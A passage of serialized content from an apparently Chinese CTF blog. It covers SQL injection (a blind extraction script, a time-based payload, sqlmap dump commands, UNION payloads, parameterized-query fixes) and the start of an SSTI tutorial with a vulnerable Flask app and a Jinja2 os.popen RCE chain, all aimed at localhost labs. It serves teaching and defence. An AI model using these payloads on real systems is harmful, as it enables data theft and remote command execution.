FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[29,5898,5899,5904,5909,5913,5918,5923,5927,5932,5937,5942,5947,5952,5957,5962,5967,5972,5977,5982,5987,5992,5997,6002,6007,6012,6017,6022,6026],{"__ignoreMap":27},[32,5900,5901],{"class":34,"line":35},[32,5902,5903],{},"import requests, string\n",[32,5905,5906],{"class":34,"line":41},[32,5907,5908],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[32,5910,5911],{"class":34,"line":47},[32,5912,197],{"emptyLinePlaceholder":196},[32,5914,5915],{"class":34,"line":53},[32,5916,5917],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[32,5919,5920],{"class":34,"line":175},[32,5921,5922],{},"result = \"\"          # 保存已确认的 flag 片段\n",[32,5924,5925],{"class":34,"line":181},[32,5926,197],{"emptyLinePlaceholder":196},[32,5928,5929],{"class":34,"line":187},[32,5930,5931],{},"for pos in range(1, 50):\n",[32,5933,5934],{"class":34,"line":193},[32,5935,5936],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[32,5938,5939],{"class":34,"line":200},[32,5940,5941],{},"    found = False\n",[32,5943,5944],{"class":34,"line":206},[32,5945,5946],{},"    for ch in string.printable:\n",[32,5948,5949],{"class":34,"line":212},[32,5950,5951],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[32,5953,5954],{"class":34,"line":218},[32,5955,5956],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[32,5958,5959],{"class":34,"line":224},[32,5960,5961],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[32,5963,5964],{"class":34,"line":230},[32,5965,5966],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[32,5968,5969],{"class":34,"line":236},[32,5970,5971],{},"        r = requests.get(url, params={\"id\": payload})\n",[32,5973,5974],{"class":34,"line":242},[32,5975,5976],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[32,5978,5979],{"class":34,"line":248},[32,5980,5981],{},"        # r.text：响应正文。\n",[32,5983,5984],{"class":34,"line":628},[32,5985,5986],{},"        if \"hello\" in r.text:\n",[32,5988,5989],{"class":34,"line":633},[32,5990,5991],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[32,5993,5994],{"class":34,"line":639},[32,5995,5996],{},"            result += ch\n",[32,5998,5999],{"class":34,"line":645},[32,6000,6001],{},"            print(result)\n",[32,6003,6004],{"class":34,"line":651},[32,6005,6006],{},"            found = True\n",[32,6008,6009],{"class":34,"line":657},[32,6010,6011],{},"            break\n",[32,6013,6014],{"class":34,"line":663},[32,6015,6016],{},"    if not found or result.endswith('}'):\n",[32,6018,6019],{"class":34,"line":669},[32,6020,6021],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[32,6023,6024],{"class":34,"line":675},[32,6025,3673],{},[32,6027,6028],{"class":34,"line":681},[32,6029,6030],{},"print(\"flag:\", result)\n",[15,6032,6033],{},"运行过程输出（节选）：",[22,6035,6038],{"className":6036,"code":6037,"language":110,"meta":27},[108],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[29,6039,6037],{"__ignoreMap":27},[283,6041,6043],{"id":6042},"_52-时间盲注","5.2 时间盲注",[15,6045,6046,6047,6050],{},"页面连\"正常/异常\"都无法区分时，用 ",[29,6048,6049],{},"SLEEP"," 制造时间差：",[22,6052,6054],{"className":77,"code":6053,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[29,6055,6056],{"__ignoreMap":27},[32,6057,6058,6060,6062,6065],{"class":34,"line":35},[32,6059,5464],{"class":86},[32,6061,5467],{"class":1461},[32,6063,6064],{"class":90},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[32,6066,5473],{"class":1461},[15,6068,6069],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6071,6073],{"id":6072},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6075,6076,6078],{},[138,6077,140],{},"：手工确认后，用工具批量完成拖库，效率更高。",[283,6080,6082],{"id":6081},"命令-1检测","命令 1：检测",[15,6084,6085,6087],{},[138,6086,146],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[22,6089,6091],{"className":77,"code":6090,"language":79,"meta":27,"style":27},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[29,6092,6093],{"__ignoreMap":27},[32,6094,6095,6098,6101,6103,6105,6108],{"class":34,"line":35},[32,6096,6097],{"class":86},"sqlmap",[32,6099,6100],{"class":1016}," -u",[32,6102,5467],{"class":1461},[32,6104,5470],{"class":90},[32,6106,6107],{"class":1461},"\"",[32,6109,6110],{"class":1016}," --batch\n",[15,6112,1471],{},[22,6114,6117],{"className":6115,"code":6116,"language":110,"meta":27},[108],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[29,6118,6116],{"__ignoreMap":27},[283,6120,6122],{"id":6121},"命令-2列库","命令 2：列库",[22,6124,6126],{"className":77,"code":6125,"language":79,"meta":27,"style":27},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[29,6127,6128],{"__ignoreMap":27},[32,6129,6130,6132,6134,6136,6138,6140],{"class":34,"line":35},[32,6131,6097],{"class":86},[32,6133,6100],{"class":1016},[32,6135,5467],{"class":1461},[32,6137,5470],{"class":90},[32,6139,6107],{"class":1461},[32,6141,6142],{"class":1016}," --dbs\n",[15,6144,6145,6146,320],{},"预期输出：数据库列表，含 ",[29,6147,1073],{},[283,6149,6151],{"id":6150},"命令-3导出数据","命令 3：导出数据",[22,6153,6155],{"className":77,"code":6154,"language":79,"meta":27,"style":27},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[29,6156,6157],{"__ignoreMap":27},[32,6158,6159,6161,6163,6165,6167,6169,6172,6175,6178,6181],{"class":34,"line":35},[32,6160,6097],{"class":86},[32,6162,6100],{"class":1016},[32,6164,5467],{"class":1461},[32,6166,5470],{"class":90},[32,6168,6107],{"class":1461},[32,6170,6171],{"class":1016}," -D",[32,6173,6174],{"class":90}," ctf",[32,6176,6177],{"class":1016}," -T",[32,6179,6180],{"class":90}," flag",[32,6182,6183],{"class":1016}," --dump\n",[15,6185,1224,6186,6188,6189,320],{},[29,6187,3314],{}," 表内容 ",[29,6190,5817],{},[10,6192,6194],{"id":6193},"七核心步骤-5防御","七、核心步骤 5：防御",[22,6196,6198],{"className":5231,"code":6197,"language":5233,"meta":27,"style":27},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[29,6199,6200,6205,6210,6215,6219,6224,6229,6234],{"__ignoreMap":27},[32,6201,6202],{"class":34,"line":35},[32,6203,6204],{},"// PDO 参数化\n",[32,6206,6207],{"class":34,"line":41},[32,6208,6209],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[32,6211,6212],{"class":34,"line":47},[32,6213,6214],{},"$stmt->execute([$_GET['id']]);\n",[32,6216,6217],{"class":34,"line":53},[32,6218,197],{"emptyLinePlaceholder":196},[32,6220,6221],{"class":34,"line":175},[32,6222,6223],{},"// mysqli 参数化\n",[32,6225,6226],{"class":34,"line":181},[32,6227,6228],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[32,6230,6231],{"class":34,"line":187},[32,6232,6233],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[32,6235,6236],{"class":34,"line":193},[32,6237,6238],{},"$stmt->execute();\n",[22,6240,6242],{"className":24,"code":6241,"language":26,"meta":27,"style":27},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[29,6243,6244],{"__ignoreMap":27},[32,6245,6246],{"class":34,"line":35},[32,6247,6241],{},[15,6249,6250,6251,6254],{},"参数化后，输入 ",[29,6252,6253],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6256,6258],{"id":6257},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6260,6261,6263],{},[138,6262,140],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6265,6266,6267,1598],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[29,6268,6269],{},"sim.py",[22,6271,6273],{"className":24,"code":6272,"language":26,"meta":27,"style":27},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[29,6274,6275,6280,6285,6289,6294,6299,6304,6309,6313,6318,6322,6327,6332,6336,6341,6346,6351,6356,6361,6366,6371,6376,6381,6386,6391,6396,6400,6405,6410,6415,6420,6425,6430,6435],{"__ignoreMap":27},[32,6276,6277],{"class":34,"line":35},[32,6278,6279],{},"import sqlite3\n",[32,6281,6282],{"class":34,"line":41},[32,6283,6284],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[32,6286,6287],{"class":34,"line":47},[32,6288,197],{"emptyLinePlaceholder":196},[32,6290,6291],{"class":34,"line":53},[32,6292,6293],{},"conn = sqlite3.connect(':memory:')\n",[32,6295,6296],{"class":34,"line":175},[32,6297,6298],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[32,6300,6301],{"class":34,"line":181},[32,6302,6303],{},"conn.executescript('''\n",[32,6305,6306],{"class":34,"line":187},[32,6307,6308],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[32,6310,6311],{"class":34,"line":193},[32,6312,5352],{},[32,6314,6315],{"class":34,"line":200},[32,6316,6317],{},"CREATE TABLE flag (flag TEXT);\n",[32,6319,6320],{"class":34,"line":206},[32,6321,5362],{},[32,6323,6324],{"class":34,"line":212},[32,6325,6326],{},"''')\n",[32,6328,6329],{"class":34,"line":218},[32,6330,6331],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[32,6333,6334],{"class":34,"line":224},[32,6335,197],{"emptyLinePlaceholder":196},[32,6337,6338],{"class":34,"line":230},[32,6339,6340],{},"def query(id_):\n",[32,6342,6343],{"class":34,"line":236},[32,6344,6345],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[32,6347,6348],{"class":34,"line":242},[32,6349,6350],{},"    cur = conn.cursor()\n",[32,6352,6353],{"class":34,"line":248},[32,6354,6355],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[32,6357,6358],{"class":34,"line":628},[32,6359,6360],{},"    try:\n",[32,6362,6363],{"class":34,"line":633},[32,6364,6365],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[32,6367,6368],{"class":34,"line":639},[32,6369,6370],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[32,6372,6373],{"class":34,"line":645},[32,6374,6375],{},"        return str(cur.fetchall())\n",[32,6377,6378],{"class":34,"line":651},[32,6379,6380],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[32,6382,6383],{"class":34,"line":657},[32,6384,6385],{},"    except Exception as e:\n",[32,6387,6388],{"class":34,"line":663},[32,6389,6390],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[32,6392,6393],{"class":34,"line":669},[32,6394,6395],{},"        return \"ERROR: \" + str(e)\n",[32,6397,6398],{"class":34,"line":675},[32,6399,197],{"emptyLinePlaceholder":196},[32,6401,6402],{"class":34,"line":681},[32,6403,6404],{},"print(query(\"1\"))\n",[32,6406,6407],{"class":34,"line":686},[32,6408,6409],{},"print(query(\"1'\"))\n",[32,6411,6412],{"class":34,"line":692},[32,6413,6414],{},"print(query(\"1 AND 1=1\"))\n",[32,6416,6417],{"class":34,"line":697},[32,6418,6419],{},"print(query(\"1 AND 1=2\"))\n",[32,6421,6422],{"class":34,"line":703},[32,6423,6424],{},"print(query(\"1 ORDER BY 3\"))\n",[32,6426,6427],{"class":34,"line":709},[32,6428,6429],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[32,6431,6432],{"class":34,"line":715},[32,6433,6434],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[32,6436,6437],{"class":34,"line":4803},[32,6438,6439],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6441,6442],{},"运行：",[22,6444,6446],{"className":77,"code":6445,"language":79,"meta":27,"style":27},"python3 sim.py\n",[29,6447,6448],{"__ignoreMap":27},[32,6449,6450,6452],{"class":34,"line":35},[32,6451,3141],{"class":86},[32,6453,6454],{"class":90}," sim.py\n",[15,6456,254],{},[22,6458,6461],{"className":6459,"code":6460,"language":110,"meta":27},[108],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[29,6462,6460],{"__ignoreMap":27},[15,6464,6465],{},"逐行对应：",[732,6467,6468,6481],{},[735,6469,6470],{},[738,6471,6472,6475,6478],{},[741,6473,6474],{},"输入",[741,6476,6477],{},"输出",[741,6479,6480],{},"结论",[748,6482,6483,6496,6509,6521,6534,6547,6562,6575],{},[738,6484,6485,6490,6493],{},[753,6486,6487],{},[29,6488,6489],{},"1",[753,6491,6492],{},"正常记录",[753,6494,6495],{},"基线",[738,6497,6498,6503,6506],{},[753,6499,6500],{},[29,6501,6502],{},"1'",[753,6504,6505],{},"语法错误",[753,6507,6508],{},"注入点存在",[738,6510,6511,6516,6518],{},[753,6512,6513],{},[29,6514,6515],{},"1 AND 1=1",[753,6517,6492],{},[753,6519,6520],{},"条件真",[738,6522,6523,6528,6531],{},[753,6524,6525],{},[29,6526,6527],{},"1 AND 1=2",[753,6529,6530],{},"空",[753,6532,6533],{},"条件假",[738,6535,6536,6541,6544],{},[753,6537,6538],{},[29,6539,6540],{},"1 ORDER BY 3",[753,6542,6543],{},"正常",[753,6545,6546],{},"至少 3 列",[738,6548,6549,6554,6559],{},[753,6550,6551],{},[29,6552,6553],{},"-1 UNION SELECT 1,2,3",[753,6555,6556],{},[29,6557,6558],{},"(1, 2, 3)",[753,6560,6561],{},"3 列且回显",[738,6563,6564,6567,6572],{},[753,6565,6566],{},"查 sqlite_master",[753,6568,6569],{},[29,6570,6571],{},"articles,flag",[753,6573,6574],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[738,6576,6577,6580,6584],{},[753,6578,6579],{},"查 flag 表",[753,6581,6582],{},[29,6583,5817],{},[753,6585,6586],{},"拿到 flag",[10,6588,6590],{"id":6589},"九小结","九、小结",[15,6592,6593,6594,6597],{},"SQL 注入主线：",[138,6595,6596],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1051,6599,6600],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":27,"searchDepth":41,"depth":41,"links":6602},[6603,6604,6605,6606,6607,6608,6609,6610,6611],{"id":5224,"depth":47,"text":5225},{"id":5276,"depth":47,"text":5277},{"id":5430,"depth":47,"text":5431},{"id":5588,"depth":47,"text":5589},{"id":5826,"depth":47,"text":5827},{"id":6072,"depth":47,"text":6073},{"id":6193,"depth":47,"text":6194},{"id":6257,"depth":47,"text":6258},{"id":6589,"depth":47,"text":6590},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1069,"image":6614,"alt":6615,"tags":6616,"published":196},"/blogs-img/blog5.png","SQL 注入深入实战",[1073,6617,6618,1076],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5219,"description":6612},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6624,"title":6625,"body":6626,"description":7672,"extension":1067,"meta":7673,"navigation":196,"ogImage":7674,"path":7678,"seo":7679,"stem":7680,"__hash__":7681},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6627,"toc":7662},[6628,6632,6635,6678,6689,6692,6701,6707,6711,6725,6730,6783,6785,6797,6801,6806,6819,6823,6839,6841,6863,6867,6883,6885,6903,6913,6917,6984,6988,6993,7026,7035,7039,7045,7049,7055,7058,7074,7076,7094,7097,7113,7115,7133,7146,7154,7165,7172,7178,7181,7259,7265,7268,7274,7278,7290,7299,7311,7315,7321,7325,7331,7340,7342,7346,7392,7396,7439,7445,7449,7452,7521,7525,7534,7538,7543,7558,7564,7568,7583,7612,7615,7621,7625,7633,7636,7642,7644,7659],[10,6629,6631],{"id":6630},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6633,6634],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[22,6636,6638],{"className":24,"code":6637,"language":26,"meta":27,"style":27},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[29,6639,6640,6645,6649,6654,6658,6663,6668,6673],{"__ignoreMap":27},[32,6641,6642],{"class":34,"line":35},[32,6643,6644],{},"from flask import Flask, render_template\n",[32,6646,6647],{"class":34,"line":41},[32,6648,197],{"emptyLinePlaceholder":196},[32,6650,6651],{"class":34,"line":47},[32,6652,6653],{},"app = Flask(__name__)\n",[32,6655,6656],{"class":34,"line":53},[32,6657,197],{"emptyLinePlaceholder":196},[32,6659,6660],{"class":34,"line":175},[32,6661,6662],{},"@app.route(\"/\")\n",[32,6664,6665],{"class":34,"line":181},[32,6666,6667],{},"def index():\n",[32,6669,6670],{"class":34,"line":187},[32,6671,6672],{},"    name = request.args.get(\"name\", \"world\")\n",[32,6674,6675],{"class":34,"line":193},[32,6676,6677],{},"    return render_template(\"hello.html\", name=name)\n",[15,6679,6680,6681,6684,6685,6688],{},"模板文件 ",[29,6682,6683],{},"hello.html"," 内容是固定的 ",[29,6686,6687],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6690,6691],{},"错误写法是把用户输入拼进模板字符串：",[22,6693,6695],{"className":24,"code":6694,"language":26,"meta":27,"style":27},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[29,6696,6697],{"__ignoreMap":27},[32,6698,6699],{"class":34,"line":35},[32,6700,6694],{},[15,6702,6703,6706],{},[29,6704,6705],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6708,6710],{"id":6709},"二环境搭建","二、环境搭建",[22,6712,6714],{"className":77,"code":6713,"language":79,"meta":27,"style":27},"pip install flask\n",[29,6715,6716],{"__ignoreMap":27},[32,6717,6718,6720,6722],{"class":34,"line":35},[32,6719,3712],{"class":86},[32,6721,91],{"class":90},[32,6723,6724],{"class":90}," flask\n",[15,6726,2461,6727,1598],{},[29,6728,6729],{},"app.py",[22,6731,6733],{"className":24,"code":6732,"language":26,"meta":27,"style":27},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[29,6734,6735,6740,6744,6748,6752,6756,6760,6764,6769,6774,6778],{"__ignoreMap":27},[32,6736,6737],{"class":34,"line":35},[32,6738,6739],{},"from flask import Flask, request, render_template_string\n",[32,6741,6742],{"class":34,"line":41},[32,6743,197],{"emptyLinePlaceholder":196},[32,6745,6746],{"class":34,"line":47},[32,6747,6653],{},[32,6749,6750],{"class":34,"line":53},[32,6751,197],{"emptyLinePlaceholder":196},[32,6753,6754],{"class":34,"line":175},[32,6755,6662],{},[32,6757,6758],{"class":34,"line":181},[32,6759,6667],{},[32,6761,6762],{"class":34,"line":187},[32,6763,6672],{},[32,6765,6766],{"class":34,"line":193},[32,6767,6768],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[32,6770,6771],{"class":34,"line":200},[32,6772,6773],{},"    return render_template_string(html, name=name)\n",[32,6775,6776],{"class":34,"line":206},[32,6777,197],{"emptyLinePlaceholder":196},[32,6779,6780],{"class":34,"line":212},[32,6781,6782],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6784,6442],{},[22,6786,6788],{"className":77,"code":6787,"language":79,"meta":27,"style":27},"python app.py\n",[29,6789,6790],{"__ignoreMap":27},[32,6791,6792,6794],{"class":34,"line":35},[32,6793,26],{"class":86},[32,6795,6796],{"class":90}," app.py\n",[10,6798,6800],{"id":6799},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6802,6803,6805],{},[138,6804,140],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6807,6808,6810,6811,6814,6815,6818],{},[138,6809,146],{},"：模板引擎会执行 ",[29,6812,6813],{},"{{ 表达式 }}","。传 ",[29,6816,6817],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[283,6820,6822],{"id":6821},"_31-正常请求","3.1 正常请求",[22,6824,6826],{"className":77,"code":6825,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[29,6827,6828],{"__ignoreMap":27},[32,6829,6830,6832,6834,6837],{"class":34,"line":35},[32,6831,5464],{"class":86},[32,6833,5467],{"class":1461},[32,6835,6836],{"class":90},"http://127.0.0.1:5000/?name=alice",[32,6838,5473],{"class":1461},[15,6840,1224],{},[22,6842,6846],{"className":6843,"code":6844,"language":6845,"meta":27,"style":27},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[29,6847,6848],{"__ignoreMap":27},[32,6849,6850,6853,6856,6859,6861],{"class":34,"line":35},[32,6851,6852],{"class":1127},"\u003C",[32,6854,6855],{"class":1120},"h1",[32,6857,6858],{"class":1127},">Hello, alice!\u003C/",[32,6860,6855],{"class":1120},[32,6862,1131],{"class":1127},[283,6864,6866],{"id":6865},"_32-表达式求值","3.2 表达式求值",[22,6868,6870],{"className":77,"code":6869,"language":79,"meta":27,"style":27},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[29,6871,6872],{"__ignoreMap":27},[32,6873,6874,6876,6878,6881],{"class":34,"line":35},[32,6875,5464],{"class":86},[32,6877,5467],{"class":1461},[32,6879,6880],{"class":90},"http://127.0.0.1:5000/?name={{7*7}}",[32,6882,5473],{"class":1461},[15,6884,1224],{},[22,6886,6888],{"className":6843,"code":6887,"language":6845,"meta":27,"style":27},"\u003Ch1>Hello, 49!\u003C/h1>\n",[29,6889,6890],{"__ignoreMap":27},[32,6891,6892,6894,6896,6899,6901],{"class":34,"line":35},[32,6893,6852],{"class":1127},[32,6895,6855],{"class":1120},[32,6897,6898],{"class":1127},">Hello, 49!\u003C/",[32,6900,6855],{"class":1120},[32,6902,1131],{"class":1127},[15,6904,6905,6908,6909,6912],{},[29,6906,6907],{},"7*7"," 被求值成 ",[29,6910,6911],{},"49","，说明模板表达式生效，SSTI 成立。",[283,6914,6916],{"id":6915},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[732,6918,6919,6932],{},[735,6920,6921],{},[738,6922,6923,6926,6929],{},[741,6924,6925],{},"引擎",[741,6927,6928],{},"语言",[741,6930,6931],{},"探测 payload",[748,6933,6934,6946,6959,6971],{},[738,6935,6936,6939,6942],{},[753,6937,6938],{},"Jinja2 / Twig",[753,6940,6941],{},"Python / PHP",[753,6943,6944],{},[29,6945,6817],{},[738,6947,6948,6951,6954],{},[753,6949,6950],{},"Freemarker",[753,6952,6953],{},"Java",[753,6955,6956],{},[29,6957,6958],{},"${7*7}",[738,6960,6961,6964,6966],{},[753,6962,6963],{},"Velocity",[753,6965,6953],{},[753,6967,6968],{},[29,6969,6970],{},"#set($x=7*7)$x",[738,6972,6973,6976,6979],{},[753,6974,6975],{},"Smarty",[753,6977,6978],{},"PHP",[753,6980,6981],{},[29,6982,6983],{},"{$smarty.version}",[10,6985,6987],{"id":6986},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,6989,6990,6992],{},[138,6991,140],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,6994,6995,6997,6998,7001,7002,66,7005,66,7008,7011,7012,7015,7016,7018,7019,7022,7023,320],{},[138,6996,146],{},"：模板只能访问少量对象（如 ",[29,6999,7000],{},"config","）。Python 对象有 ",[29,7003,7004],{},"__class__",[29,7006,7007],{},"__init__",[29,7009,7010],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[29,7013,7014],{},"os"," 模块。验证方式：先执行 ",[29,7017,5439],{},"，输出 ",[29,7020,7021],{},"uid=..."," 即成功，再换 ",[29,7024,7025],{},"cat /flag",[15,7027,7028,7029,7031,7032,7034],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[29,7030,7000],{}," 对象，沿 Python 内部属性找到 ",[29,7033,7014],{}," 模块。",[283,7036,7038],{"id":7037},"_41-分步理解","4.1 分步理解",[22,7040,7043],{"className":7041,"code":7042,"language":110,"meta":27},[108],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[29,7044,7042],{"__ignoreMap":27},[283,7046,7048],{"id":7047},"_42-完整-payload","4.2 完整 payload",[22,7050,7053],{"className":7051,"code":7052,"language":110,"meta":27},[108],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[29,7054,7052],{"__ignoreMap":27},[15,7056,7057],{},"用 curl 发送：",[22,7059,7061],{"className":77,"code":7060,"language":79,"meta":27,"style":27},"curl 